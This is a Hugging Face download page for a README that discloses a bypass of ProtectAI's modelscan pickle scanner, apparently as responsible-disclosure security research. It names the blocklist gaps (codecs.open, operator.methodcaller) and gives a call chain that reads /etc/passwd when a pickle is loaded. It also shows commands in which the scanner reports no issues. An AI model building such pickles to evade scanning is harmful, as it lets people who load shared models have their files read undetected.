|
Download README.md from manja316/modelscan-bypass-codecs: direct link, hf CLI and curl.
- Browser
- Download file 774 Bytes
-
https://huggingface.co/manja316/modelscan-bypass-codecs/resolve/main/README.md
- Command line
-
hf download hf://manja316/modelscan-bypass-codecs/README.md
-
curl -L -H "Authorization: Bearer $HF_TOKEN" -o README.md https://huggingface.co/manja316/modelscan-bypass-codecs/resolve/main/README.md
774 Bytes
metadata
tags:
- security-research
- proof-of-concept
license: mit
Modelscan Bypass PoC: codecs.open + operator.methodcaller
Purpose: Security research demonstrating a scanner bypass in ProtectAI modelscan.
Technique
codecs.openis not in modelscan's unsafe_globals blocklist (onlybuiltins.openis blocked)operator.methodcalleris not blocked (onlyoperator.attrgetteris)- Chain:
methodcaller('read')(codecs.open('/etc/passwd'))→ reads any file
Verification
pip install modelscan
modelscan scan -p model.pkl
# Output: "No issues found!"
python3 -c "import pickle; print(pickle.load(open('model.pkl','rb'))[:100])"
# Output: contents of /etc/passwd
Responsible Disclosure
Submitted to ProtectAI via Huntr MFV program.